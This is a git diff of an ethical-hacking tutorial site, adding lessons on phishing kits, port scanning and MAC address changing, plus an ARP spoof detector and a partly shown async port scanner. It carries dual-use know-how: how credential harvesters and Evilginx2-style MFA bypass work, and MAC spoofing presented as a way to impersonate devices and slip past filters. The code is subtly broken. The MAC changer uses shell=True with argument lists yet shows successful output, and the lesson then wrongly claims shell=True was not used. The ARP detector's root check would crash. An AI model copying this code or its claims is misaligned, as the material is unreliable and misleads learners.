+> * **Warning:** The unauthorized use of these tools to target individuals or organizations is a serious crime with severe consequences. This document is intended solely for educational and defensive purposes.
+
+### The Dual-Use Nature of Phishing Tools
+
+Phishing toolkits are a classic example of "dual-use" technology. In the hands of a **white-hat hacker**, they are a powerful tool for defense, used to find and fix vulnerabilities before criminals can exploit them. In the hands of a **black-hat hacker**, they are a weapon used for identity theft, financial fraud, and corporate espionage. The only difference is **permission and intent**.
+
+-----
+
+## How a Phishing Attack Works: From Start to End
+
+This sequence diagram illustrates the complete lifecycle of a phishing attack, from the attacker's initial setup to the final credential theft and redirection. It covers both the server-side (attacker) actions and the client-side (victim) experience.
+
+```mermaid
+sequenceDiagram
+ participant Attacker
+ participant PhishingServer as Phishing Server
+ participant Victim
+ participant RealWebsite as Legitimate Website
+
+ Note over Attacker,PhishingServer: Phase 1: Attacker & Server-Side Setup
+ Attacker->>RealWebsite: 1. Scans and selects target website
+ Attacker->>PhishingServer: 2. Clones the legitimate website's login page
+ note over PhishingServer: Deploys website clone and a credential harvester script (e.g., post.php)
+ Attacker->>Attacker: 3. Crafts a deceptive email with a link to the Phishing Server
+
+ Note over Attacker,Victim: Phase 2: Victim & Client-Side Interaction
+ Attacker->>Victim: 4. Sends the phishing email
+ Victim->>Victim: 5. Opens email and reads the deceptive message
+ note right of Victim: The email creates a sense of urgency or curiosity.
+ Victim->>PhishingServer: 6. Clicks the malicious link in the email
+ PhishingServer-->>Victim: 7. Serves the fake login page (looks identical to the real one)
+ Victim->>PhishingServer: 8. Enters credentials (username & password) into the form
+
+ Note over PhishingServer,RealWebsite: Phase 3: Credential Theft & Evasion
+ PhishingServer->>PhishingServer: 9. Credential harvester script captures the POST data
+ note over PhishingServer: Saves credentials to a file (e.g., logs.txt)
+ PhishingServer-->>Attacker: 10. Attacker now has the stolen credentials
+ PhishingServer-->>Victim: 11. Redirects the victim's browser to the Real Website
+ note right of Victim: Victim, now on the real site, is less likely to be suspicious.
+ Attacker->>RealWebsite: 12. Uses stolen credentials to log in and compromise the account
+```
+
+-----
+
+## Anatomy of a Phishing Kit
+
+Modern phishing toolkits are modular, with each component handling a specific part of the attack.
+
+### 1. Website Cloner
+
+This utility automates the creation of a fraudulent website. It downloads the target's login page, including all HTML, CSS, JavaScript, and images, to create a perfect replica. Simple tools might use a command like `wget`, while more advanced kits can dynamically proxy content to ensure the fake site is always up-to-date.
+
+### 2\. Email Spoofing Module
+
+This component is responsible for sending the phishing email. It allows the attacker to manipulate email headers (like the `From:` field) so the message appears to originate from a legitimate domain. This is why a message can say it's from `billing@microsoft.com` even when it's not.
+
+### 3\. Credential Harvester
+
+This is the backend logic of the phishing site. It's typically a small script (often in PHP) that receives the data submitted through the fake login form via an HTTP `POST` request. The script then saves the captured username and password to a simple text file on the server (e.g., `credentials.txt`).
+
+### 4\. Redirector
+
+Once the harvester script has captured the victim's data, the redirector's job is to seamlessly forward the victim to the *actual* legitimate website. This is a crucial step for avoiding immediate detection, as the victim might just assume they had a typo and try logging in again, unaware that their credentials have already been stolen.
+
+-----
+
+## Popular Phishing Frameworks
+
+Several well-known tools are used by security professionals for testing.
+
+### Social-Engineer Toolkit (SET)
+
+Part of the Kali Linux distribution, **SET** is a Python-based framework designed for a wide range of social engineering attacks. Its "Credential Harvester Attack Vector" automates the process of cloning a website and capturing any data entered into its forms.
+
+```bash
+# Example of launching SET in Kali Linux
+root@kali:~# setoolkit
+```
+
+### Gophish
+
+**Gophish** is an open-source, enterprise-grade phishing framework. It is praised for its user-friendly web interface that simplifies the process of setting up and tracking security awareness campaigns. It provides excellent reporting features to help organizations measure their risk.
+
+### Evilginx2 (Advanced)
+
+**Evilginx2** represents the next generation of phishing tools. Instead of just cloning a site, it acts as a **man-in-the-middle (MITM)** proxy between the victim and the real website. This allows it to capture not just passwords but also session cookies. By stealing the session cookie, an attacker can bypass **Multi-Factor Authentication (2FA)** and take over an authenticated session.
+
+-----
+
+## Comprehensive Detection and Prevention Strategies
+
+A robust defense against phishing requires both technology and vigilant users.
+
+### For Individuals: Building a Human Firewall
+
+ * **Scrutinize the Source:** Don't just look at the display name; inspect the full sender email address. Be suspicious of any unexpected messages, even if they appear to be from someone you know.
+ * **Verify Links:** Always hover your mouse over links to see the actual destination URL before clicking. Be wary of URL shorteners.
+ * **Question the Padlock (HTTPS):** A padlock icon only means your connection to the server is encrypted. It **does not** mean the server is legitimate. Cybercriminals can easily get free SSL/TLS certificates for their phishing sites. Always verify the domain name itself.
+ * **Enable Multi-Factor Authentication (MFA):** This is the single most effective defense against credential theft. Even if your password is stolen, MFA prevents attackers from accessing your account.
+ * **Trust Your Gut:** If a message feels off, seems too good to be true, or creates an unusual sense of urgency, it probably is. When in doubt, contact the sender through a separate, verified communication channel (e.g., call them or navigate to their official website directly).
+
+### For Organizations: A Layered Defense
+
+ * **Advanced Email Filtering:** Deploy an email security gateway that uses sandboxing to analyze attachments and URL rewriting to scan links in real-time when they are clicked.
+ * **Security Awareness Training:** Conduct regular, engaging training sessions and run simulated phishing campaigns. Foster a culture where employees feel comfortable reporting suspicious emails without fear of blame.
+ * **Implement DMARC, DKIM, and SPF:** These email authentication standards are critical for preventing attackers from spoofing your company's domain, making it much harder for them to impersonate your employees or brand.
+ * **Web Filtering and DNS Protection:** Use services that block access to known malicious domains at the network level, preventing employees from ever reaching a phishing page.
+
+---
+
+### Path
+
+<- [Previous Lesson: Password Cracking](/lesson-passwordcracking.md) | [Next Lesson: Introduction to Binary Exploitation](/Binary-Exploitation.MD) ->
\ No newline at end of file
diff --git a/python-for-eth-hacking/A-guide-to-post-scanning.md b/UI/frontend/src/content/MD_Content_ethical-hacking/python-for-eth-hacking/A-guide-to-port-scanning.md
similarity index 90%
rename from python-for-eth-hacking/A-guide-to-post-scanning.md
rename to UI/frontend/src/content/MD_Content_ethical-hacking/python-for-eth-hacking/A-guide-to-port-scanning.md
index bef1697..ecb6ab1 100644
--- a/python-for-eth-hacking/A-guide-to-post-scanning.md
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/python-for-eth-hacking/A-guide-to-port-scanning.md
@@ -1,5 +1,14 @@
+---
+title: "IP & Port Scanning"
+slug: "port-scanning"
+order: 13
+category: "python-for-ethical-hacking"
+prev: "binary-exploitation"
+next: "mac-address-changer"
+---
+
# IP & Port Scanning
-
+
* **IP** stands for `Internet Protocol`. an IP address (IPv4 or IPv6) identifies a host on a network so packets can be routed to it.
* **Ports** are numeric endpoints on a host that services listen on (for example, 80 for HTTP, 22 for SSH). A single IP can host many services distinguished by port numbers.
@@ -57,7 +66,7 @@ What to look for
* Pick the IPv4 address that belongs to your machine and note the subnet (e.g., `192.168.1.15/24 in the screenshot`).
-
+
---
@@ -85,7 +94,7 @@ nmap -sn 192.168.1.15/24
```
* `-sn` = host discovery only
-
+
B) Full port range on localhost
@@ -95,7 +104,7 @@ nmap -sT -p 1-65535 127.0.0.1
* `-sT` performs full TCP handshakes and is easy to understand for beginners.
* Slow but useful to see everything listening on your own machine.
-
+
### Before we proceed, install & start an SSH server so that we can see a real port open in the scan
```bash
@@ -111,7 +120,7 @@ nmap -sT -sV --top-ports 50 192.168.1.15
* `-sV` probes services to guess software/version.
-
+
---
@@ -178,3 +187,8 @@ print("[+] Done")
---
+### Path
+
+<- [Previous Lesson: Binary Exploitation](/Binary-Exploitation.MD)
+-> [Next Lesson: Writing A MAC Address Changer](/lesson-1.md)
+
diff --git a/UI/frontend/src/content/MD_Content_ethical-hacking/python-for-eth-hacking/lesson-1.md b/UI/frontend/src/content/MD_Content_ethical-hacking/python-for-eth-hacking/lesson-1.md
new file mode 100644
index 0000000..dcd27db
--- /dev/null
+++ b/UI/frontend/src/content/MD_Content_ethical-hacking/python-for-eth-hacking/lesson-1.md
@@ -0,0 +1,182 @@
+---
+title: "Writing A MAC Address Changer"
+slug: "mac-address-changer"
+order: 14
+category: "python-for-ethical-hacking"
+prev: "port-scanning"
+next: "ids-probe-lesson"
+---
+
+# Writing A MAC Address Changer
+
+ 
+
+- MAC stands for `Media Access Control`. It is a permanent, physical and unique address assigned to network interfaces by the device manufacturer.
+- So, whether you have a wireless card or wired or ethernet card, each of them come with a specific address that is unique to the card, so there are no 2 devices in the world with the same MAC Address.
+- This address will always be the same to this specific device, even if we unplug it from our computer, and connect it to another computer. Then this network device will always have the same address.
+- IP Address is used to identify computers in the network, and communicate between the devices on the Internet.
+- The MAC Address is used within the network to identify devices and transfer data b/w them. So, each piece of data or packet that is sent within the network contains a source MAC and Destination MAC. Therefore, this packet will flow from the Source MAC to Destination MAC.
+
+## Why change MAC Address??
+
+- Because this is a unique physical address to each interface, to each network device, and used to identify devices, changing it will make you anonymous on the network.
+- Lets you impersonate another device, and allows you to do things you might not be able to do.
+- It makes it able to bypass filters and connect networks that only specific devices with specific MAC Addresses can only connect to, and also able to hide your identity.
+
+## How to change MAC Address??
+
+- Run `ifconfig` command on the computer. This will list all the interfaces available on the computer. When we say interface, we mean a network card. When we execute the command it shows `eth0` which is a virtual interface.
+
+ 
+
+- `eth0` is not real. It is created by the virtual box, because the VM is set to use a NAT network, by default. It thinks that it is connected to a wired network. All this is done using a Virtual Interface connected to the Virtual Wired Network.
+- We can also see `lo` which is also a virtual interface created by `linux`.
+
+- The `ifconfig` command also lists down the detailed information about each of these interfaces.
+
+- Now, to change the MAC Address of the Interface, we must first disable the interface.
+
+ ```shell
+ ifconfig ${interface_name} down
+ ```
+
+ If you don't see any errors, it means the command got executed properly. Now that the interface is disabled, we can modify its options. And, the option that we want to modify in our case is the `ether`, which is the MAC Address.
+
+- We can now change the MAC Address using the command:
+
+ ```bash
+ ifconfig ${interface_name} hw ether ${new_mac_address}
+ ```
+
+- Now, we need to again re-enable the interface using the following command:
+
+ ```bash
+ ifconfig ${interface_name} up
+ ```
+
+ If we don't see the error it means the command got executed properly.
+
+- Now, use `ifconfig` command again to check if the MAC Address has changed again or not. Now, if you look at the `ether` option of the `interface_name` we have been using so far, it's been modified to what we have set.
+
+ 
+
+- Following are the proof for proper execution of these statements:
+
+ ```shell
+ root@kali:~# ifconfig
+ eth0: flags=4163 mtu 1500
+ inet 172.16.47.128 netmask 255.255.255.0 broadcast 172.16.47.255
+ inet6 fe80::20c:29ff:fee0:ab03 prefixlen 64 scopeid 0x20
+ ether 00:0c:29:e0:ab:03 txqueuelen 1000 (Ethernet)
+ RX packets 809954 bytes 1184345755 (1.1 GiB)
+ RX errors 0 dropped 0 overruns 0 frame 0
+ TX packets 70404 bytes 5559742 (5.3 MiB)
+ TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
+ device interrupt 45 memory 0x3fe00000-3fe20000
+
+ lo: flags=73 mtu 65536
+ inet 127.0.0.1 netmask 255.0.0.0
+ inet6 ::1 prefixlen 128 scopeid 0x10
+ loop txqueuelen 1000 (Local Loopback)
+ RX packets 86 bytes 5923 (5.7 KiB)
+ RX errors 0 dropped 0 overruns 0 frame 0
+ TX packets 86 bytes 5923 (5.7 KiB)
+ TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
+
+ root@kali:~# ifconfig eth0 down
+ root@kali:~# ifconfig eth0 hw ether 00:11:22:33:44:55
+ root@kali:~# ifconfig eth0 up
+ root@kali:~# ifconfig
+ eth0: flags=4163 mtu 1500
+ inet 172.16.47.129 netmask 255.255.255.0 broadcast 172.16.47.255
+ inet6 fe80::211:22ff:fe33:4455 prefixlen 64 scopeid 0x20
+ ether 00:11:22:33:44:55 txqueuelen 1000 (Ethernet)
+ RX packets 809962 bytes 1184347117 (1.1 GiB)
+ RX errors 0 dropped 0 overruns 0 frame 0
+ TX packets 70422 bytes 5561664 (5.3 MiB)
+ TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
+ device interrupt 45 memory 0x3fe00000-3fe20000
+
+ lo: flags=73 mtu 65536
+ inet 127.0.0.1 netmask 255.0.0.0
+ inet6 ::1 prefixlen 128 scopeid 0x10
+ loop txqueuelen 1000 (Local Loopback)
+ RX packets 86 bytes 5923 (5.7 KiB)
+ RX errors 0 dropped 0 overruns 0 frame 0
+ TX packets 86 bytes 5923 (5.7 KiB)
+ TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
+
+ ```
+
+## Using Python Modules to Execute System Commands
+
+- We can use Python Modules to execute system commands.
+- The `subprocess` module contains a number of functions for this purpose.
+- It can execute any command, doesn't necessarily have to be a linux command.
+- If we execute the script from Windows, it will allow us to execute windows commands. If we run scripts on mac, it will allow you to execute mac commands. If you run from linux, it let's you run linux based commands.
+- In our case, we will be using the `subprocess` module to execute the `ifconfig` command, and change the MAC Address of the interface.
+- The `subprocess` module contains a number of functions for this purpose. All of them are used to execute system commands, and return the output of the command, but in different ways.
+- For example, some of them will run commands in the background, some in foreground, some will return the output of the command, some will not, some will return the error if any, some will not.
+
+>[!IMPORTANT]
+>The function that we will be using today is `subprocess.call()`. This function is used to run a command in the foreground, and return the exit code of the command. If the command is executed successfully, it returns `0`, otherwise it returns the error code.
+>It doesn't run it in a different thread, so it will block the execution of the script until the command is executed.
+
+- This will be very important because we don't want our script to move forward until the command is executed, and the MAC Address is changed.
+
+- Now, let's write a simple script to change the MAC Address of the interface.
+
+ ```python
+ # Program to change MAC Address of an interface
+
+ import subprocess
+ def change_mac(interface, new_mac):
+ print(f"[+] Changing MAC address of {interface} to {new_mac}")
+ # Execute the command to change the MAC address
+ subprocess.call(["sudo", "ifconfig", interface, "down"],shell=True)
+ subprocess.call(["sudo", "ifconfig", interface, "hw", "ether", new_mac],shell=True)
+ subprocess.call(["sudo", "ifconfig", interface, "up"],shell=True)
+ print("[+] MAC address changed successfully")
+
+ # Example usage
+ if __name__ == "__main__":
+ interface = input("Enter the interface name (e.g., eth0, wlan0): ")
+ new_mac = input("Enter the new MAC address (format: xx:xx:xx:xx:xx:xx): ")
+ change_mac(interface, new_mac)
+ print(f"New MAC address for {interface} is {new_mac}")
+ # Verify the change
+ subprocess.call(["ifconfig", interface],shell=True)
+ print(f"[+] Verification complete for {interface}.")
+ ```
+
+ Once executed we get the following output:
+
+ ```bash
+ (.venv) root@kali:~/PycharmProjects/hacking-tutorial# python mac-address-change.py
+ Enter the interface name (e.g., eth0, wlan0): eth0
+ Enter the new MAC address (format: xx:xx:xx:xx:xx:xx): 3c:b9:aa:d1:42:32
+ [+] Changing MAC address of eth0 to 3c:b9:aa:d1:42:32
+ [+] MAC address changed successfully
+ New MAC address for eth0 is 3c:b9:aa:d1:42:32
+ eth0: flags=4099 mtu 1500
+ inet 172.16.47.133 netmask 255.255.255.0 broadcast 172.16.47.255
+ inet6 fe80::211:22ff:fe33:4455 prefixlen 64 scopeid 0x20
+ ether 3c:b9:aa:d1:42:32 txqueuelen 1000 (Ethernet)
+ RX packets 812230 bytes 1185567088 (1.1 GiB)
+ RX errors 0 dropped 0 overruns 0 frame 0
+ TX packets 72191 bytes 5808154 (5.5 MiB)
+ TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
+ device interrupt 45 memory 0x3fe00000-3fe20000
+
+ [+] Verification complete for eth0
+ ```
+
+- In the program, we didn't use `shell=True` in the `subprocess.call()` function. This is because we are passing the command and its arguments as a list, which is the recommended way to avoid shell injection vulnerabilities. If you use `shell=True`, you should be very careful about the input to avoid executing arbitrary commands.
+
+---
+
+### Path
+
+<- [Previous Lesson: IP & Port Scanning](/A-guide-to-port-scanning.md)
+
+
diff --git a/UI/frontend/src/content/python-scripts/arp_spoof_detector.py b/UI/frontend/src/content/python-scripts/arp_spoof_detector.py
new file mode 100644
index 0000000..f1af61a
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/arp_spoof_detector.py
@@ -0,0 +1,64 @@
+# ARP Spoof Detector
+# This script sniffs network traffic and detects potential ARP spoofing attacks.
+
+from scapy.all import sniff, ARP
+import sys
+import subprocess
+
+
+def get_mac(ip):
+ """
+ Returns the MAC address for a given IP address by sending an ARP request.
+ This function is not used in the main sniffing loop to avoid flooding,
+ but it's a good utility for establishing a baseline.
+ """
+ from scapy.all import arping
+ try:
+ # arping returns a tuple of lists (answered, unanswered)
+ answered, _ = arping(ip, verbose=0)
+ if answered:
+ return answered[0][1].hwsrc
+ except Exception as e:
+ print(f"[-] Error getting MAC for {ip}: {e}")
+ return None
+
+def process_packet(packet):
+ """
+ This function is called for each packet sniffed by Scapy.
+ It checks if the packet is an ARP response and looks for anomalies.
+ """
+ # Check if the packet is an ARP packet and is a response ("is-at")
+ if packet.haslayer(ARP) and packet[ARP].op == 2:
+ try:
+ real_mac = get_mac(packet[ARP].psrc)
+ response_mac = packet[ARP].hwsrc
+
+ if real_mac and real_mac != response_mac:
+ print(f"[!] ALERT: ARP Spoofing Detected!")
+ print(f"[*] IP Address: {packet[ARP].psrc}")
+ print(f"[*] Real MAC: {real_mac}")
+ print(f"[*] Fake MAC: {response_mac}\n")
+
+ except Exception as e:
+ # Pass on errors that might occur during sniffing
+ pass
+
+def main():
+ print("[+] Starting ARP spoof detector...")
+ print("[+] Sniffing for ARP packets. Press Ctrl+C to stop.")
+ try:
+ # Sniff indefinitely, calling process_packet for each packet
+ sniff(store=False, prn=process_packet)
+ except KeyboardInterrupt:
+ print("\n[+] Detector stopped by user.")
+ except Exception as e:
+ print(f"[-] An error occurred: {e}")
+ print("[-] Please ensure you are running this script with root privileges.")
+ print("[-] Also, make sure Scapy is installed (`pip install scapy`).")
+
+if __name__ == "__main__":
+ if subprocess.run(["id", "-u"]).stdout.strip() != b'0':
+ print("[-] This script requires root privileges. Please run it with sudo.")
+ sys.exit(1)
+ main()
+
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/async_port_scanner.md b/UI/frontend/src/content/python-scripts/async_port_scanner.md
new file mode 100644
index 0000000..767ca55
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/async_port_scanner.md
@@ -0,0 +1,121 @@
+## async_port_scanner.py
+
+### Use Case Scenario
+
+This script is a foundation for **network reconnaissance** and **vulnerability assessment**.
+
+* **What problem does it solve?**
+ It efficiently determines which **TCP ports** are **open** on one or more target hosts. Crucially, it goes beyond a simple *open/closed* check by attempting to retrieve a **service banner** (the initial data a service sends upon connection) and then performs a basic analysis (fingerprinting) to identify the application running on that port (e.g., HTTP, SSH, MySQL).
+* **Who benefits from using it?**
+ 1. **Ethical Hackers / Penetration Testers:** For quickly enumerating open services on a target to narrow down potential attack vectors.
+ 2. **System Administrators:** For auditing their own network security posture, ensuring only intended ports are accessible.
+ 3. **Beginner Developers / Cybersecurity Students:** The script is heavily commented and uses **`asyncio`**, providing a practical, high-performance example of concurrent network programming.
+
+---
+
+### What the Script Does
+
+The script executes a **concurrent TCP port scan** across a defined list of hosts and ports, reporting open ports, the grabbed banner, and the likely service running.
+
+1. **Input:**
+ * **Targets (`--hosts` or `--hosts-file`):** A list of IP addresses or domain names.
+ * **Ports (`--ports`):** A list or range of TCP ports to check (e.g., `22,80,443,1000-1024`).
+ * **Parameters:** Scan configuration (e.g., `--concurrency`, `--timeout`).
+2. **Process:**
+ * It uses **`asyncio`** to launch many connection attempts simultaneously, limited by the `--concurrency` setting.
+ * For each open port, it attempts a basic **banner grab**. If no banner is immediately received, it attempts simple probes (e.g., an HTTP `HEAD` request or a newline `\r\n`) to provoke a response.
+ * The collected banner is analyzed using pre-defined **regular expression (regex) rules** to identify the service (e.g., finding "SSH-2.0" identifies it as SSH). If no banner is available, it falls back to a standard port-to-service mapping (e.g., port 22 is SSH).
+3. **Output / Side Effects:**
+ * **Standard Output (stdout):** A human-readable, single-line summary for every open port found.
+ * **Optional JSON File (`--output`):** A comprehensive JSON file containing the full structured results for all ports scanned (open and closed).
+
+---
+
+### Code Explanation
+
+#### Imported Libraries
+
+| Library | Purpose |
+| :--- | :--- |
+| `argparse` | Used to parse command-line arguments (e.g., `--hosts`, `--ports`) for configuring the scan. |
+| `asyncio` | The core library for **concurrent and asynchronous I/O operations**, enabling the scanner to handle hundreds of connections simultaneously without waiting for one to finish before starting the next. |
+| `json` | Used to format and output the scan results into a structured JSON file. |
+| `logging` | Provides flexible event logging (info/debug messages) to help the user monitor the scanner's internal operations. |
+| `re` | **Regular Expressions** are used for the **fingerprinting** logic to match patterns within the raw service banners. |
+| `datetime` | Used to timestamp the scan results. |
+
+#### Main Functions
+
+| Function/Method | Purpose | Parameters & Returns |
+| :--- | :--- | :--- |
+| `parse_port_list` | Parses a string like `"22,80,8000-8010"` into a sorted list of integer port numbers. | **Params:** `port_string` (`str`). **Returns:** `List[int]`. |
+| `_fingerprint` | Analyzes a raw banner and/or port number to determine the likely service(s) running. It prioritizes regex matches on the banner. | **Params:** `port` (`int`), `banner` (`bytes`). **Returns:** `List[str]` of service names. |
+| `AsyncPortScanner.__init__` | Initializes the scanner with concurrency limits, timeout, and banner read size. | **Params:** `timeout`, `concurrency`, `read_bytes`. **Returns:** `None` (constructor). |
+| `AsyncPortScanner._grab_banner` | Attempts to read data from a socket stream within the defined timeout. | **Params:** `reader` (`asyncio.StreamReader`). **Returns:** `bytes` (the raw banner). |
+| `AsyncPortScanner.scan_port` | **The core asynchronous scan logic.** Attempts to connect, grabs the banner (with optional probes), closes the connection, and structures the result. Handles all connection errors and timeouts. | **Params:** `host` (`str`), `port` (`int`). **Returns:** `Dict[str, Any]` (structured result for one port). |
+| `AsyncPortScanner.scan_multiple`| Creates a list of `scan_port` tasks for all combinations of hosts and ports, runs them concurrently using `asyncio.gather`, and collects all results. | **Params:** `hosts` (`List[str]`), `ports` (`List[int]`). **Returns:** `List[Dict[str, Any]]`. |
+| `cli` | The command-line interface entry point. Parses CLI arguments, sets up the logger, executes the scan by calling `asyncio.run(_run())`, and prints/saves the final results. | **Params:** `argv` (`Optional[List[str]]`). **Returns:** `int` (exit code). |
+
+#### Execution Logic
+
+The script's execution flow is managed by the standard Python entry point:
+
+1. **`if __name__ == "__main__":`**
+ * It calls `SystemExit(cli())`, which immediately transfers control to the **`cli()`** function.
+2. **`cli()` Function Execution:**
+ * **Argument Parsing:** `argparse` processes the command-line inputs (hosts, ports, settings).
+ * **Host/Port Collection:** Host lists are generated from the provided arguments (`--hosts` or `--hosts-file`). Ports are parsed using `parse_port_list`.
+ * **Scanner Instantiation:** An instance of `AsyncPortScanner` is created, passing the configured `timeout`, `concurrency`, and `read_bytes` settings.
+ * **Asynchronous Kickoff:** The `_run` inner asynchronous function is defined, which simply calls the core scanning logic: `scanner.scan_multiple(hosts, ports)`.
+ * **Blocking Start:** The line `results = asyncio.run(_run())` is the pivotal step. It starts the `asyncio` event loop and waits for the entire scan (`_run`) to complete before continuing.
+ * **Result Reporting:** Once the scan is complete, the `cli()` function iterates over the `results` list. It prints a summary to the console for every port where `"open": True` was found.
+ * **Output File:** If the `--output` argument was provided, the complete `results` list is serialized and saved as a JSON file.
+ * **Exit:** The function returns `0`, signaling a successful exit to the operating system.
+
+---
+
+### Screenshots
+
+
+
+---
+
+### Sequence Diagram
+
+This diagram illustrates the main flow of a scan operation, from user input to final output.
+
+```mermaid
+sequenceDiagram
+ participant User
+ participant CLI as async-port-scanner CLI (cli)
+ participant ASC as AsyncPortScanner
+ participant Hosts as Target Host(s)
+
+ User->>CLI: Execute script with args (--hosts, --ports)
+ CLI->>CLI: Parse arguments and load hosts/ports
+ CLI->>ASC: new AsyncPortScanner(concurrency, timeout, read_bytes)
+ CLI->>CLI: Define _run() (calls scan_multiple)
+ CLI->>CLI: asyncio.run(_run()) (Starts Event Loop)
+
+ loop for each Host and Port combination
+ ASC->>ASC: Acquire Semaphore (limit concurrency)
+ ASC->>Hosts: asyncio.open_connection(host, port)
+ alt Connection Successful (Port Open)
+ Hosts-->>ASC: Return (reader, writer)
+ ASC->>ASC: Call _grab_banner(reader)
+ ASC->>Hosts: Attempt initial read/probes (e.g., HEAD /)
+ Hosts-->>ASC: Return banner data
+ ASC->>ASC: _fingerprint(port, banner)
+ ASC->>ASC: Close writer/connection
+ ASC->>CLI: Return structured result (open: true, banner, services)
+ else Connection Refused / Timeout
+ ASC->>CLI: Return structured result (open: false, error)
+ end
+ ASC->>ASC: Release Semaphore
+ end
+
+ CLI->>CLI: Process results (print open ports to stdout)
+ alt Output File Requested
+ CLI->>CLI: Write all results to --output JSON file
+ end
+ CLI-->>User: Display output and Exit (0)
\ No newline at end of file
diff --git a/UI/frontend/src/content/python-scripts/async_port_scanner.py b/UI/frontend/src/content/python-scripts/async_port_scanner.py
new file mode 100644
index 0000000..22e7732
--- /dev/null
+++ b/UI/frontend/src/content/python-scripts/async_port_scanner.py
@@ -0,0 +1,318 @@
+# Educational, commented asynchronous TCP port scanner with banner grabbing
+# and simple regex-based fingerprinting. This file is intentionally verbose
+# with comments to help learners understand why each block exists and how
+# the scanner works.
+#
+# IMPORTANT: Only run this scanner against hosts/networks you own or are
+# explicitly authorized to test. Misuse can be illegal.
+from __future__ import annotations
+
+import argparse # small, standard library CLI parser
+import asyncio # core async I/O library used for concurrency
+import json # to optionally emit results in JSON format
+import logging # lightweight logging for debug/info output
+import re # regular expressions used for banner fingerprinting
+from datetime import datetime
+from typing import List, Dict, Any, Optional
+
+# -----------------------
+# Module-level constants
+# -----------------------
+# A short, human-readable logger to help learners see internal messages.
+logger = logging.getLogger("async_port_scanner")
+
+# Maximum bytes we attempt to read when grabbing a banner.
+# Many service banners are short (a few hundred bytes), so this keeps memory use low.
+DEFAULT_READ_BYTES = 1024
+
+# Default concurrency - how many simultaneous TCP connect attempts will be allowed.
+# High concurrency speeds up large scans but may be aggressive for some networks.
+DEFAULT_CONCURRENCY = 200
+
+# -----------------------
+# Fingerprinting rules
+# -----------------------
+# Each tuple is (compiled_regex, friendly_service_name).
+# Regexes are applied to raw banner bytes (not decoded), so we compile with rb"...".
+# Learners: fingerprinting is heuristic — it matches known banner patterns but is not perfect.
+FINGERPRINTS = [
+ (re.compile(rb"^HTTP/|^GET |^POST |Server:", re.I), "HTTP"), # HTTP server responses
+ (re.compile(rb"^SSH-", re.I), "SSH"), # SSH banner like "SSH-2.0-OpenSSH_..."
+ (re.compile(rb"mysql|MySQL", re.I), "MySQL"), # MySQL handshake often includes "mysql"
+ (re.compile(rb"^220 .*SMTP", re.I), "SMTP"), # SMTP greeting lines often start with "220"
+ (re.compile(rb"^RFB \d\.\d", re.I), "RDP"), # RDP/VNC style greeting (RFB)
+ (re.compile(rb"^220"), "SMTP"), # fallback SMTP-ish greeting
+]
+
+# Port -> likely service mapping used when no banner is present.
+# This is a simple fallback only — port numbers are conventional but not authoritative.
+PORT_SERVICE_MAP = {
+ 21: "FTP",
+ 22: "SSH",
+ 23: "Telnet",
+ 25: "SMTP",
+ 53: "DNS",
+ 80: "HTTP",
+ 110: "POP3",
+ 143: "IMAP",
+ 3306: "MySQL",
+ 3389: "RDP",
+ 5900: "VNC",
+ 8080: "HTTP-Alt",
+}
+
+# -----------------------
+# Helper functions
+# -----------------------
+
+
+def parse_port_list(port_string: str) -> List[int]:
+ """
+ Convert a port expression like "22,80,8000-8010" to a sorted list of ints.
+ Learners: this is a simple parser — it supports commas and single hyphen ranges.
+ """
+ ports = set()
+ for part in port_string.split(","):
+ part = part.strip()
+ if not part:
+ continue
+ if "-" in part:
+ # range specified: expand inclusive
+ start, end = part.split("-", 1)
+ ports.update(range(int(start), int(end) + 1))
+ else:
+ ports.add(int(part))
+ return sorted(ports)
+
+
+def _fingerprint(port: int, banner: bytes) -> List[str]:
+ """
+ Determine likely service names from a banner and/or port number.
+
+ Steps:
+ 1. Try regex fingerprints on the banner (most reliable if banner present).
+ 2. If none match, fall back to common port -> service guesses.
+ 3. Guarantee at least one returned label (e.g., "unknown").
+ """
+ results: List[str] = []
+ if banner:
+ for pattern, name in FINGERPRINTS:
+ # pattern.search works on bytes because we compiled rb"..."
+ if pattern.search(banner):
+ results.append(name)
+
+ # fallback to known ports (conventional)
+ if not results and port in PORT_SERVICE_MAP:
+ results.append(PORT_SERVICE_MAP[port])
+
+ if not results:
+ results.append("unknown")
+
+ # deduplicate while preserving order
+ seen = set()
+ unique = []
+ for r in results:
+ if r not in seen:
+ seen.add(r)
+ unique.append(r)
+ return unique
+
+
+# -----------------------
+# Core scanning class
+# -----------------------
+
+
+class AsyncPortScanner:
+ """
+ Encapsulates scanning configuration & behavior.
+
+ - timeout: per-connection timeout (seconds)
+ - concurrency: maximum simultaneous connections
+ - read_bytes: how many bytes to attempt to read for banner grabbing
+ """
+
+ def __init__(self, timeout: float = 2.0, concurrency: int = DEFAULT_CONCURRENCY, read_bytes: int = DEFAULT_READ_BYTES):
+ # per-connection timeout in seconds (affects how long we wait to connect/read)
+ self.timeout = timeout
+ # semaphore limits concurrency so we don't open unlimited sockets at once
+ self.semaphore = asyncio.Semaphore(concurrency)
+ # how many bytes to read when attempting to grab banner data from a socket
+ self.read_bytes = read_bytes
+
+ async def _grab_banner(self, reader: asyncio.StreamReader) -> bytes:
+ """
+ Try to read up to `self.read_bytes` bytes from the given StreamReader.
+ We wrap the read in a timeout (self.timeout) to avoid hanging indefinitely.
+ Returns raw bytes (may be empty if nothing received).
+ """
+ try:
+ data = await asyncio.wait_for(reader.read(self.read_bytes), timeout=self.timeout)
+ return data or b""
+ except Exception:
+ # On timeout or other read error just return empty bytes
+ return b""
+
+ async def scan_port(self, host: str, port: int) -> Dict[str, Any]:
+ """
+ Attempt to connect to host:port, grab a banner if available, fingerprint it,
+ and return a structured result dictionary.
+
+ The function is resilient: connection refusals/timeouts are handled and the
+ result will simply indicate the port is closed/filtered.
+ """
+ # structured result we will return — useful for JSON output and tests
+ result: Dict[str, Any] = {
+ "host": host,
+ "port": port,
+ "open": False,
+ "banner": "",
+ "services": [],
+ "timestamp": datetime.utcnow().isoformat() + "Z",
+ }
+
+ try:
+ # limit concurrency with semaphore to prevent resource exhaustion
